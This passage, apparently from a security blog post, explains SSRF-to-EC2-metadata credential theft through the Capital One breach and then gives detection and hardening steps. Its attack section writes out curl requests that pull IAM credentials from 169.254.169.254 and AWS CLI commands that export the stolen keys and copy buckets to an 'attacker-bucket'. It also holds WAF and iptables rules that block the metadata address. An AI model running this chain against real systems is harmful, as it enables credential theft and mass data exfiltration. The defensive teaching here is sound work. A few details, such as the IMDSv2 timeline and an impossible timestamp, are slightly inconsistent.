<p><strong>OWASP Mapping:</strong> A10 — Server-Side Request Forgery (SSRF). The attacker causes the server to make a request to an unintended destination — in this case, the link-local metadata endpoint that returns cloud IAM credentials.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────────┐
│                    SSRF → IMDS → CREDENTIAL CHAIN                       │
│                                                                         │
│   ATTACKER                                                              │
│      │                                                                  │
│      │  1. Discovers SSRF in web app (WAF, proxy, image fetch, etc.)    │
│      │                                                                  │
│      ▼                                                                  │
│   WEB APP / WAF (running on EC2)                                        │
│      │                                                                  │
│      │  2. App follows attacker-controlled URL                          │
│      │     GET http://169.254.169.254/latest/meta-data/                 │
│      │     iam/security-credentials/ROLE_NAME                          │
│      ▼                                                                  │
│   EC2 INSTANCE METADATA SERVICE (IMDSv1 — no auth required)            │
│      │                                                                  │
│      │  3. Returns JSON: AccessKeyId, SecretAccessKey, Token            │
│      ▼                                                                  │
│   ATTACKER (now has temporary IAM credentials)                          │
│      │                                                                  │
│      │  4. aws sts get-caller-identity → confirm identity               │
│      │  5. aws s3 ls → enumerate all accessible buckets                 │
│      │  6. aws s3 cp s3://target-bucket/ . --recursive                  │
│      ▼                                                                  │
│   100M+ customer records exfiltrated                                    │
│                                                                         │
│   ─────────────────────────────────────────────────────────────────     │
│   IMDSv2 BREAKS THIS CHAIN AT STEP 2                                    │
│   PUT /latest/api/token required first → SSRF can&#039;t follow             │
│   (SSRF typically cannot initiate a PUT before a GET)                   │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>The <strong>SSRF cloud metadata attack</strong> chain is short enough to fit in a single diagram because there are only three moving parts: the SSRF vulnerability, an unauthenticated metadata endpoint, and the IAM credentials waiting behind it. Remove any one of those three elements and the chain breaks. Capital One had all three.</p>
<hr />
<h2 id="the-incident-capital-one-2019">The Incident: Capital One (2019)</h2>
<p>In March 2019, a misconfigured WAF at Capital One was running on AWS EC2. The WAF was a commercial product deployed in an EC2 instance with an attached IAM role — standard practice, necessary for the WAF to interact with other AWS services.</p>
<p>The attacker, later identified as Paige Thompson (arrested July 2019, former AWS engineer), found an SSRF vulnerability in the WAF&#8217;s configuration. The exact misconfiguration has been described as a firewall rule that allowed the instance to make outbound requests to internal destinations, including the link-local metadata endpoint.</p>
<p>The attack chain, reconstructed from court documents and Capital One&#8217;s public disclosures:</p>
<pre><code class="" data-line="">1. Identify SSRF in WAF
   ├── WAF accepts HTTP requests and forwards them to backend
   └── Attacker crafts request that causes WAF to make outbound HTTP call
       to attacker-controlled destination — confirms SSRF exists

2. Target the IMDS endpoint
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/
       (link-local address, reachable only from within the EC2 instance)

3. Enumerate the attached role
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/
       → returns role name: &quot;capital-one-waf-role&quot; (illustrative)

4. Retrieve the credentials
   └── http://169.254.169.254/latest/meta-data/iam/security-credentials/capital-one-waf-role
       → returns: AccessKeyId, SecretAccessKey, Token, Expiration

5. Export credentials to attacker-controlled system
   └── The SSRF response body contains the JSON credential blob
       Attacker exfiltrates the JSON out-of-band

6. Use credentials from external system
   ├── aws configure (with stolen AccessKeyId, SecretAccessKey, Token)
   ├── aws sts get-caller-identity → confirm IAM role identity
   ├── aws s3 ls → lists all S3 buckets the role can see
   └── aws s3 cp s3://[capital-one-bucket]/ . --recursive
       → 106 million customer records
       → 140,000 Social Security numbers
       → 80,000 bank account numbers
</code></pre>
<p>IMDSv1 required no authentication. The WAF&#8217;s attached IAM role had <code class="" data-line="">s3:GetObject</code> and <code class="" data-line="">s3:ListBucket</code> permissions scoped broadly enough to reach the data buckets. The SSRF was the entry point; the unauthenticated metadata endpoint was the amplifier; the overly permissive IAM role was the impact multiplier.</p>
<p>Capital One paid a $190M settlement. AWS did not change IMDSv1 as a result — they had already released IMDSv2 in November 2019, months after the breach was discovered (July 2019). The breach timeline predates IMDSv2 availability. What it demonstrated was not a zero-day but a known architectural weakness that had been present since EC2 launched.</p>
<p>The revelation that the industry took away: <strong>IMDSv1 has no authentication. Any SSRF vulnerability anywhere in your stack — in the application, in a WAF, in a sidecar, in a Lambda calling your EC2 — is a straight line to your IAM role credentials.</strong> The SSRF doesn&#8217;t need to be severe or complex. It just needs to reach <code class="" data-line="">169.254.169.254</code>.</p>
<hr />
<h2 id="red-phase-how-the-attack-works">Red Phase: How the Attack Works</h2>
<h3 id="what-ssrf-is">What SSRF Is</h3>
<p>Server-Side Request Forgery is a vulnerability class where an attacker can cause the server to make HTTP requests to destinations of the attacker&#8217;s choosing. The server acts as a proxy: the request originates from the server&#8217;s network context, not the attacker&#8217;s. This is what makes it dangerous in cloud environments — the server has access to link-local addresses, VPC-internal services, and cloud metadata endpoints that the attacker cannot reach directly from the internet.</p>
<p>SSRF surfaces in any feature that causes the server to fetch a URL on behalf of the user:<br />
&#8211; Image URL upload/preview (e.g., &#8220;fetch this avatar URL&#8221;)<br />
&#8211; Webhook configuration (server calls a URL you provide)<br />
&#8211; PDF generation from URL<br />
&#8211; Reverse proxies and WAFs with request-forwarding rules<br />
&#8211; Server-side URL validation endpoints</p>
<h3 id="why-the-metadata-endpoint-is-the-target">Why the Metadata Endpoint Is the Target</h3>
<p><code class="" data-line="">169.254.169.254</code> is the IPv4 link-local address AWS reserves for the Instance Metadata Service (IMDS). It is only reachable from within the EC2 instance itself — not from the VPC, not from the internet. Every EC2 instance has it. No security group rule can block it because it does not traverse the VPC network stack. It is a hypervisor-level endpoint injected into the instance.</p>
<p>The IMDS endpoint serves instance-specific data: instance ID, AMI ID, region, availability zone, network interfaces — and, critically, the temporary credentials for any IAM role attached to the instance.</p>
<pre><code class="" data-line=""># (IMDSv1 — no token required, works with a plain curl)

# Step 1: Enumerate what&#039;s available under iam/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Output: the name of the attached IAM role
# Example output: MyApplicationRole

# Step 2: Retrieve the credentials for that role
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApplicationRole
</code></pre>
<p>The response from Step 2 looks like this:</p>
<pre><code class="" data-line="">{
  &quot;Code&quot;: &quot;Success&quot;,
  &quot;LastUpdated&quot;: &quot;2019-03-22T18:03:30Z&quot;,
  &quot;Type&quot;: &quot;AWS-HMAC&quot;,
  &quot;AccessKeyId&quot;: &quot;ASIAQFAKEKEYIDEXAMPLE&quot;,
  &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYFAKESECRETKEY&quot;,
  &quot;Token&quot;: &quot;FQoDYXdzEJr//////////wEa...very-long-session-token...==&quot;,
  &quot;Expiration&quot;: &quot;2019-03-22T24:03:30Z&quot;
}
</code></pre>
<p>These are real, valid AWS temporary credentials. The <code class="" data-line="">Token</code> field is the STS session token. All three values together authenticate as the IAM role attached to the instance, with whatever permissions that role has been granted.</p>
<h3 id="the-full-attack-chain">The Full Attack Chain</h3>
<p>Step-by-step, with the commands an attacker would run after recovering credentials from an SSRF:</p>
<p><strong>Step 1: Confirm the SSRF and find the metadata endpoint</strong></p>
<pre><code class="" data-line=""># Attacker sends request that causes the vulnerable server to fetch a URL
# The exact mechanism depends on the vulnerability (webhook, image URL, etc.)
# For a Capital One-style WAF SSRF, this might be a crafted HTTP header

# Test if SSRF can reach IMDS:
# Attacker controls a listener (e.g., Burp Collaborator, requestbin)
# then pivots to the metadata endpoint once SSRF is confirmed
</code></pre>
<p><strong>Step 2: Exfiltrate credentials via SSRF</strong></p>
<pre><code class="" data-line=""># Via the SSRF, the server makes this request:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → returns role name in response body

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApplicationRole
# → returns AccessKeyId, SecretAccessKey, Token JSON
</code></pre>
<p><strong>Step 3: Use credentials from attacker&#8217;s system</strong></p>
<pre><code class="" data-line=""># Export the stolen credentials
export AWS_ACCESS_KEY_ID=&quot;ASIAQFAKEKEYIDEXAMPLE&quot;
export AWS_SECRET_ACCESS_KEY=&quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYFAKESECRETKEY&quot;
export AWS_SESSION_TOKEN=&quot;FQoDYXdzEJr...==&quot;

# Confirm identity
aws sts get-caller-identity
# Output shows which account and role — confirms credentials are valid
</code></pre>
<pre><code class="" data-line="">{
    &quot;UserId&quot;: &quot;AROAQFAKEUSERID:i-01234567890abcdef0&quot;,
    &quot;Account&quot;: &quot;123456789012&quot;,
    &quot;Arn&quot;: &quot;arn:aws:sts::123456789012:assumed-role/MyApplicationRole/i-01234567890abcdef0&quot;
}
</code></pre>
<p><strong>Step 4: Enumerate and exfiltrate</strong></p>
<pre><code class="" data-line=""># List all accessible S3 buckets
aws s3 ls
# Output: all buckets the role has s3:ListBucket on

# List contents of a specific bucket
aws s3 ls s3://target-bucket/ --recursive | head -50

# Check what IAM actions are allowed (enumerate permissions)
aws iam simulate-principal-policy \
  --policy-source-arn &quot;arn:aws:sts::123456789012:assumed-role/MyApplicationRole/i-01234567890abcdef0&quot; \
  --action-names &quot;s3:GetObject&quot; &quot;s3:PutObject&quot; &quot;ec2:DescribeInstances&quot; &quot;iam:ListRoles&quot; \
  --query &#039;EvaluationResults[?EvalDecision==`allowed`].EvalActionName&#039; \
  --output text

# Exfiltrate
aws s3 cp s3://target-bucket/ /tmp/exfil/ --recursive
# Or to attacker-controlled bucket:
aws s3 sync s3://target-bucket/ s3://attacker-bucket/
</code></pre>
<h3 id="simulating-it-safely-test-imdsv1-enforcement-on-your-own-instances">Simulating It Safely: Test IMDSv1 Enforcement on Your Own Instances</h3>
<p>Before running detection controls, confirm which of your instances are still vulnerable:</p>
<pre><code class="" data-line=""># Test 1: Can you reach IMDS at all? (run from inside the instance)
curl -s http://169.254.169.254/latest/meta-data/ --max-time 2
# If this returns a list of metadata fields, IMDS is reachable

# Test 2: Is IMDSv1 still enabled? (no token required)
curl -s http://169.254.169.254/latest/meta-data/instance-id --max-time 2
# If this returns an instance ID without supplying a token → IMDSv1 is enabled
# Example output: i-01234567890abcdef0

# Test 3: Check the enforcement state via AWS CLI (from outside the instance)
aws ec2 describe-instances \
  --instance-ids i-01234567890abcdef0 \
  --query &#039;Reservations[].Instances[].MetadataOptions&#039;
</code></pre>
<pre><code class="" data-line="">[
    {
        &quot;State&quot;: &quot;applied&quot;,
        &quot;HttpTokens&quot;: &quot;optional&quot;,           ← &quot;optional&quot; means IMDSv1 is still enabled
        &quot;HttpPutResponseHopLimit&quot;: 1,
        &quot;HttpEndpoint&quot;: &quot;enabled&quot;,
        &quot;HttpProtocolIpv6&quot;: &quot;disabled&quot;,
        &quot;InstanceMetadataTags&quot;: &quot;disabled&quot;
    }
]
</code></pre>
<p><code class="" data-line="">&quot;HttpTokens&quot;: &quot;optional&quot;</code> means IMDSv1 is still active. Any SSRF in the instance&#8217;s software stack can reach these credentials without a token.</p>
<pre><code class="" data-line=""># Audit all instances in a region for IMDSv1 exposure
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[].{
    InstanceId: InstanceId,
    Name: Tags[?Key==`Name`].Value | [0],
    HttpTokens: MetadataOptions.HttpTokens,
    HopLimit: MetadataOptions.HttpPutResponseHopLimit
  }&#039; \
  --output table | \
  grep -E &quot;optional|INSTANCE&quot;
# Any row showing &quot;optional&quot; is IMDSv1-exposed
</code></pre>
<hr />
<h2 id="blue-phase-detection">Blue Phase: Detection</h2>
<h3 id="what-cloudtrail-logs-when-imds-credentials-are-abused">What CloudTrail Logs When IMDS Credentials Are Abused</h3>
<p>The IMDS credential theft itself is silent — there is no CloudTrail event for an IMDS GET request. The attacker&#8217;s use of the stolen credentials is what generates logs. The key signal is <strong><code class="" data-line="">GetCallerIdentity</code> from an unusual source IP</strong> paired with the instance role&#8217;s ARN appearing in CloudTrail from an IP that is not the instance itself.</p>
<pre><code class="" data-line=""># Find API calls made using instance role credentials from external IPs
# Instance roles appear in CloudTrail as assumed-role ARNs
DETECTOR_ROLE=&quot;MyApplicationRole&quot;
INSTANCE_IP=&quot;10.0.1.50&quot;  # Your instance&#039;s known IP

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=GetCallerIdentity \
  --start-time &quot;$(date -d &#039;7 days ago&#039; --iso-8601=seconds)&quot; \
  --query &#039;Events[].CloudTrailEvent&#039; \
  --output text | \
  jq -r &#039;fromjson |
    select(.userIdentity.sessionContext.sessionIssuer.userName == &quot;&#039;&quot;${DETECTOR_ROLE}&quot;&#039;&quot;) |
    {
      time: .eventTime,
      event: .eventName,
      sourceIP: .sourceIPAddress,
      userAgent: .userAgent,
      region: .awsRegion,
      roleArn: .userIdentity.arn
    }&#039; | \
  jq &quot;select(.sourceIP != \&quot;${INSTANCE_IP}\&quot;)&quot;
  # Any result here = role credentials being used from outside the instance
</code></pre>
<p>The tell: the <code class="" data-line="">userIdentity.arn</code> will contain the instance ID as the role session name (e.g., <code class="" data-line="">assumed-role/MyApplicationRole/i-01234567890abcdef0</code>). If that ARN is making API calls from an IP address that is not the EC2 instance, someone has stolen the credentials and is using them externally.</p>
<h3 id="guardduty-the-purpose-built-finding">GuardDuty: The Purpose-Built Finding</h3>
<p>GuardDuty has a specific finding for exactly this scenario:</p>
<p><strong><code class="" data-line="">UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS</code></strong></p>
<p>This finding fires when GuardDuty detects that temporary credentials associated with an EC2 instance role are being used from an IP address outside of AWS entirely — meaning someone has physically exfiltrated the credentials to their own system and is using them from there.</p>
<pre><code class="" data-line=""># Retrieve this specific finding type from GuardDuty
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [
          &quot;UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS&quot;,
          &quot;UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS&quot;
        ]
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {
    type: .Type,
    severity: .Severity,
    instance: .Resource.InstanceDetails.InstanceId,
    role: .Resource.AccessKeyDetails.UserName,
    externalIP: .Service.Action.NetworkConnectionAction.RemoteIpDetails.IpAddressV4,
    firstSeen: .Service.EventFirstSeen,
    lastSeen: .Service.EventLastSeen
  }&#039;
</code></pre>
<p>A second finding to watch:</p>
<p><strong><code class="" data-line="">Recon:IAMUser/UserPermissions</code></strong> — fires when the stolen credentials are used to enumerate IAM permissions (the <code class="" data-line="">iam:SimulatePrincipalPolicy</code> call from the attacker&#8217;s Step 4 above). Often appears immediately before the data exfiltration events.</p>
<h3 id="vpc-flow-logs-connections-to-169254169254">VPC Flow Logs: Connections to 169.254.169.254</h3>
<p>VPC Flow Logs do not capture traffic to the IMDS endpoint by default — but they can capture egress from EC2 instances in ways that reveal post-exploitation. More useful for IMDS abuse is querying for unexpected source IPs calling the IMDS from within the VPC:</p>
<pre><code class="" data-line=""># Athena query against VPC flow logs
# Find: connections to 169.254.169.254 from unexpected source IPs
# (useful in containerized environments where only the instance itself should call IMDS)

SELECT
  srcaddr,
  dstaddr,
  srcport,
  dstport,
  protocol,
  packets,
  bytes,
  action,
  log_status,
  from_unixtime(start) as start_time
FROM vpc_flow_logs
WHERE
  dstaddr = &#039;169.254.169.254&#039;
  AND action = &#039;ACCEPT&#039;
  AND from_unixtime(start) &gt; current_timestamp - interval &#039;24&#039; hour
ORDER BY start_time DESC;
</code></pre>
<p>If you see source IPs in this query that are not your EC2 instance&#8217;s primary private IP — for example, container IPs within the pod CIDR — and you have <code class="" data-line="">--http-put-response-hop-limit 1</code> set, those requests should be failing. If they&#8217;re succeeding, the hop limit is not enforced.</p>
<h3 id="imdsv2-hop-limit-why-it-blocks-containerized-attacks">IMDSv2 Hop Limit: Why It Blocks Containerized Attacks</h3>
<p>The hop limit is a separate defense from the token requirement. With <code class="" data-line="">--http-put-response-hop-limit 1</code>, the PUT request to obtain an IMDSv2 token has a TTL of 1. When a process running inside a container tries to reach the IMDS, the request must traverse:</p>
<pre><code class="" data-line="">Container network namespace → veth pair → host network namespace → hypervisor IMDS endpoint
</code></pre>
<p>That traversal decrements the TTL below 1, and the PUT request never reaches the IMDS endpoint. The token is never issued. The GET request that follows has no token and — if <code class="" data-line="">--http-tokens required</code> is also set — is rejected.</p>
<pre><code class="" data-line="">Hop limit = 1:
  Container → veth → [TTL=0, packet dropped]
  IMDS never receives the PUT, never issues a token

Hop limit = 2 (required for EKS with IMDS access):
  Container → veth → host → IMDS
  Token is issued; GET with token succeeds
  ← Use this only when container workloads legitimately need IMDS
</code></pre>
<p>For EKS specifically: use hop limit 2 only on nodes where pods have a legitimate need to call IMDS (rare). The preferred approach is pod-level identity via <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> — pods get short-lived tokens scoped to their service account, not the node&#8217;s IAM role.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-enforce-imdsv2-the-non-negotiable-control">Fix 1: Enforce IMDSv2 — The Non-Negotiable Control</h3>
<p>This is not optional. Every EC2 instance running production workloads should have <code class="" data-line="">--http-tokens required</code>. The operational cost is near zero; the risk reduction is complete for the SSRF-to-IMDS credential chain.</p>
<pre><code class="" data-line=""># Enforce IMDSv2 on a running instance
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1

# Verify the change took effect
aws ec2 describe-instances \
  --instance-ids i-1234567890abcdef0 \
  --query &#039;Reservations[].Instances[].MetadataOptions&#039;
# &quot;HttpTokens&quot;: &quot;required&quot; confirms IMDSv2 is enforced
</code></pre>
<pre><code class="" data-line=""># Enforce IMDSv2 in a launch template (all new instances launched from this template)
aws ec2 create-launch-template-version \
  --launch-template-id lt-0abcdef1234567890 \
  --source-version &#039;$Latest&#039; \
  --launch-template-data &#039;{
    &quot;MetadataOptions&quot;: {
      &quot;HttpTokens&quot;: &quot;required&quot;,
      &quot;HttpPutResponseHopLimit&quot;: 1,
      &quot;HttpEndpoint&quot;: &quot;enabled&quot;
    }
  }&#039;

# Set this new version as the default
aws ec2 modify-launch-template \
  --launch-template-id lt-0abcdef1234567890 \
  --default-version &#039;$Latest&#039;
</code></pre>
<pre><code class="" data-line=""># Bulk remediation: enforce IMDSv2 on all instances in a region where
# HttpTokens is currently &quot;optional&quot;
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[?MetadataOptions.HttpTokens==`optional`].InstanceId&#039; \
  --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read instance_id; do
    echo &quot;Enforcing IMDSv2 on: $instance_id&quot;
    aws ec2 modify-instance-metadata-options \
      --instance-id &quot;$instance_id&quot; \
      --http-tokens required \
      --http-put-response-hop-limit 1
  done
</code></pre>
<h3 id="fix-2-scp-to-block-imdsv1-org-wide">Fix 2: SCP to Block IMDSv1 Org-Wide</h3>
<p>An SCP prevents any account in your organization from launching instances with IMDSv1 enabled, and blocks modification of existing instances to re-enable it. This is the org-level control that makes IMDSv2 enforcement durable — individual account teams can&#8217;t accidentally revert it.</p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;RequireIMDSv2OnNewInstances&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;ec2:RunInstances&quot;,
      &quot;Resource&quot;: &quot;arn:aws:ec2:*:*:instance/*&quot;,
      &quot;Condition&quot;: {
        &quot;StringNotEquals&quot;: {
          &quot;ec2:MetadataHttpTokens&quot;: &quot;required&quot;
        }
      }
    },
    {
      &quot;Sid&quot;: &quot;DenyIMDSv1ReEnablement&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;ec2:ModifyInstanceMetadataOptions&quot;,
      &quot;Resource&quot;: &quot;*&quot;,
      &quot;Condition&quot;: {
        &quot;StringEquals&quot;: {
          &quot;ec2:MetadataHttpTokens&quot;: &quot;optional&quot;
        }
      }
    }
  ]
}
</code></pre>
<p>Apply this SCP to all OUs except the management account. New <code class="" data-line="">ec2:RunInstances</code> calls that don&#8217;t include <code class="" data-line="">MetadataOptions.HttpTokens=required</code> will be denied. Existing instances can be remediated with the bulk script above; once remediated, the second statement prevents reverting.</p>
<h3 id="fix-3-oidc-workload-identity-eliminate-the-credential-entirely">Fix 3: OIDC Workload Identity — Eliminate the Credential Entirely</h3>
<p>Enforcing IMDSv2 removes the SSRF-to-IMDS path. <a href="/workload-identity-oidc-service-accounts/">OIDC workload identity eliminates static credentials</a> removes the entire credential from the picture — there is no long-lived IAM role credential attached to the instance, so there is nothing for SSRF to retrieve.</p>
<p>For Kubernetes workloads on EKS: use IAM Roles for Service Accounts (IRSA) or EKS Pod Identity. The pod&#8217;s service account is bound to an IAM role via OIDC. The pod gets short-lived, automatically rotated credentials scoped to that specific role. The node&#8217;s instance profile requires no IAM permissions for application workloads.</p>
<pre><code class="" data-line=""># EKS Pod Identity: associate a service account with an IAM role
aws eks create-pod-identity-association \
  --cluster-name my-cluster \
  --namespace my-app \
  --service-account my-app-sa \
  --role-arn arn:aws:iam::123456789012:role/my-app-role

# The pod receives credentials via a projected volume token, not IMDS
# Even if an attacker gets SSRF inside the pod, IMDS has no useful credentials for them
# The most they get: instance metadata (instance ID, AMI, AZ) — not IAM credentials
</code></pre>
<h3 id="fix-4-restrict-ssrf-at-the-network-and-application-layer">Fix 4: Restrict SSRF at the Network and Application Layer</h3>
<p>IMDSv2 enforcement is the primary control. Defence in depth adds:</p>
<pre><code class="" data-line=""># WAF rule (AWS WAF): block requests where the URL contains the IMDS address
# This catches simple SSRF attempts at the perimeter before they reach your app
# Deploy as a managed rule group or custom rule:

# AWS CLI: create a WAF rule to block IMDS-targeting SSRFs
aws wafv2 create-rule-group \
  --name &quot;BlockSSRFToIMDS&quot; \
  --scope REGIONAL \
  --capacity 10 \
  --rules &#039;[
    {
      &quot;Name&quot;: &quot;BlockIMDSAccess&quot;,
      &quot;Priority&quot;: 0,
      &quot;Statement&quot;: {
        &quot;ByteMatchStatement&quot;: {
          &quot;SearchString&quot;: &quot;169.254.169.254&quot;,
          &quot;FieldToMatch&quot;: {&quot;QueryString&quot;: {}},
          &quot;TextTransformations&quot;: [{&quot;Priority&quot;: 0, &quot;Type&quot;: &quot;NONE&quot;}],
          &quot;PositionalConstraint&quot;: &quot;CONTAINS&quot;
        }
      },
      &quot;Action&quot;: {&quot;Block&quot;: {}},
      &quot;VisibilityConfig&quot;: {
        &quot;SampledRequestsEnabled&quot;: true,
        &quot;CloudWatchMetricsEnabled&quot;: true,
        &quot;MetricName&quot;: &quot;BlockIMDSAccess&quot;
      }
    }
  ]&#039; \
  --visibility-config SampledRequestsEnabled=true,CloudWatchMetricsEnabled=true,MetricName=BlockSSRFToIMDS
</code></pre>
<pre><code class="" data-line=""># Egress filtering: block EC2 instances from making outbound requests
# to the IMDS address from application code (defense in depth via iptables)
# This only applies if your application runs as a non-root user
# Root processes bypass this — it is a secondary control, not primary

# On the EC2 instance, block application user (uid 1001) from reaching IMDS
iptables -A OUTPUT \
  -m owner --uid-owner 1001 \
  -d 169.254.169.254 \
  -j REJECT \
  --reject-with icmp-port-unreachable

# Only the instance&#039;s AWS SDK calls (typically running as a system service with different uid)
# should need IMDS access — scope accordingly
</code></pre>
<p>Note: iptables-based egress filtering is a secondary control. A root process, or any process with <code class="" data-line="">CAP_NET_ADMIN</code>, can bypass or modify these rules. The primary control remains IMDSv2 enforcement.</p>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>Legacy AWS SDK versions that only support IMDSv1.</strong> AWS SDK for Java v1 and Python (boto3 &lt; 1.9.220) do not support IMDSv2 by default. Enforcing <code class="" data-line="">--http-tokens required</code> on an instance running a legacy SDK will break credential refresh for the running application. Before enforcing IMDSv2 on a running instance, verify the SDK version used by all processes that call IMDS. Upgrade the SDK if needed; then enforce IMDSv2. The AWS Config rule <code class="" data-line="">ec2-imdsv2-check</code> flags non-compliant instances but does not check SDK versions — that inventory step is manual.</p>
<pre><code class="" data-line=""># Check boto3 version on an instance
python3 -c &quot;import boto3; print(boto3.__version__)&quot;
# Requires &gt;= 1.9.220 for IMDSv2 support

# Check AWS SDK for Java via jar manifest (if applicable)
find /opt /app -name &quot;aws-java-sdk-core-*.jar&quot; 2&gt;/dev/null | \
  while read jar; do
    unzip -p &quot;$jar&quot; META-INF/MANIFEST.MF 2&gt;/dev/null | grep &quot;Implementation-Version&quot;
  done
# AWS SDK for Java v1 &lt; 1.11.678 does not support IMDSv2 by default
</code></pre>
<p><strong>EKS node groups and hop limit 2.</strong> If you run EKS and pods need to use IRSA (IAM Roles for Service Accounts), the pods themselves do not use IMDS — they use a projected service account token. You should be safe with hop limit 1 on EKS nodes in most cases. However, if you have DaemonSets or system components that fetch instance metadata directly (some cluster autoscaler versions, node monitoring agents), hop limit 1 will break them. Audit which processes on your nodes actually call IMDS before setting hop limit 1 on EKS. The <code class="" data-line="">aws eks create-managed-node-group</code> default is hop limit 2 for this reason; you can reduce it once you&#8217;ve confirmed nothing breaks.</p>
<p><strong>GuardDuty&#8217;s 5–15 minute detection delay.</strong> <code class="" data-line="">UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration</code> is not a real-time control. GuardDuty aggregates events and applies ML-based anomaly detection — the finding typically appears 5 to 15 minutes after the first anomalous API call. A credential with broad S3 permissions can exfiltrate a significant volume of data in that window. GuardDuty detects the breach; it does not prevent the initial exfiltration. Pair it with: IAM permission boundaries that scope the blast radius, and S3 data events in CloudTrail with real-time EventBridge rules for high-sensitivity buckets.</p>
<pre><code class="" data-line=""># EventBridge rule: alert immediately on S3 data events from unexpected sources
# (complements GuardDuty&#039;s delayed finding)
aws events put-rule \
  --name &quot;S3DataEventFromUnexpectedSource&quot; \
  --event-pattern &#039;{
    &quot;source&quot;: [&quot;aws.s3&quot;],
    &quot;detail-type&quot;: [&quot;AWS API Call via CloudTrail&quot;],
    &quot;detail&quot;: {
      &quot;eventSource&quot;: [&quot;s3.amazonaws.com&quot;],
      &quot;eventName&quot;: [&quot;GetObject&quot;],
      &quot;userIdentity&quot;: {
        &quot;sessionContext&quot;: {
          &quot;sessionIssuer&quot;: {
            &quot;userName&quot;: [&quot;MyApplicationRole&quot;]
          }
        }
      }
    }
  }&#039; \
  --state ENABLED
</code></pre>
<p><strong>Disabling the IMDS endpoint entirely.</strong> You can set <code class="" data-line="">--http-endpoint disabled</code> to turn off IMDS access altogether. Do this only on instances where you are certain no running process needs instance metadata. ECS and EKS managed nodes need IMDS for node registration and credential delivery to the container agent. Application-only EC2 instances that use OIDC/IRSA and have no SDK calls to IMDS are candidates for full endpoint disablement.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<h3 id="imdsv1-vs-imdsv2">IMDSv1 vs IMDSv2</h3>
<table>
<thead>
<tr>
<th>Attribute</th>
<th>IMDSv1</th>
<th>IMDSv2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Authentication</td>
<td>None — any HTTP GET works</td>
<td>PUT to <code class="" data-line="">/latest/api/token</code> required first to obtain a session token</td>
</tr>
<tr>
<td>SSRF exploitable</td>
<td>Yes — one HTTP request returns credentials</td>
<td>No — SSRF cannot initiate a PUT before a GET in standard flows</td>
</tr>
<tr>
<td>Session token TTL</td>
<td>N/A</td>
<td>1 second to 21,600 seconds (configurable)</td>
</tr>
<tr>
<td>Hop limit enforcement</td>
<td>N/A</td>
<td>Enforced on PUT — TTL=1 blocks containers from reaching IMDS</td>
</tr>
<tr>
<td>AWS CLI enforcement</td>
<td><code class="" data-line="">--http-tokens optional</code> (default on old instances)</td>
<td><code class="" data-line="">--http-tokens required</code></td>
</tr>
<tr>
<td>Capital One risk</td>
<td>Present</td>
<td>Eliminated</td>
</tr>
</tbody>
</table>
<h3 id="imdsv2-enforcement-commands-by-provider">IMDSv2 Enforcement Commands by Provider</h3>
<table>
<thead>
<tr>
<th>Provider</th>
<th>Enforcement Command</th>
<th>Scope</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>AWS — running instance</strong></td>
<td><code class="" data-line="">aws ec2 modify-instance-metadata-options --instance-id i-xxx --http-tokens required --http-put-response-hop-limit 1</code></td>
<td>Single instance</td>
</tr>
<tr>
<td><strong>AWS — launch template</strong></td>
<td>Add <code class="" data-line="">&quot;MetadataOptions&quot;: {&quot;HttpTokens&quot;: &quot;required&quot;}</code> to launch template data</td>
<td>All instances from template</td>
</tr>
<tr>
<td><strong>AWS — org SCP</strong></td>
<td>Deny <code class="" data-line="">ec2:RunInstances</code> where <code class="" data-line="">ec2:MetadataHttpTokens != required</code></td>
<td>All accounts in org</td>
</tr>
<tr>
<td><strong>AWS — Config rule</strong></td>
<td><code class="" data-line="">ec2-imdsv2-check</code> managed rule</td>
<td>Compliance audit</td>
</tr>
<tr>
<td><strong>GCP</strong></td>
<td>GCP does not have an unauthenticated IMDS equivalent; Metadata Server requires <code class="" data-line="">Metadata-Flavor: Google</code> header — this header cannot be set via SSRF in most frameworks</td>
<td>N/A</td>
</tr>
<tr>
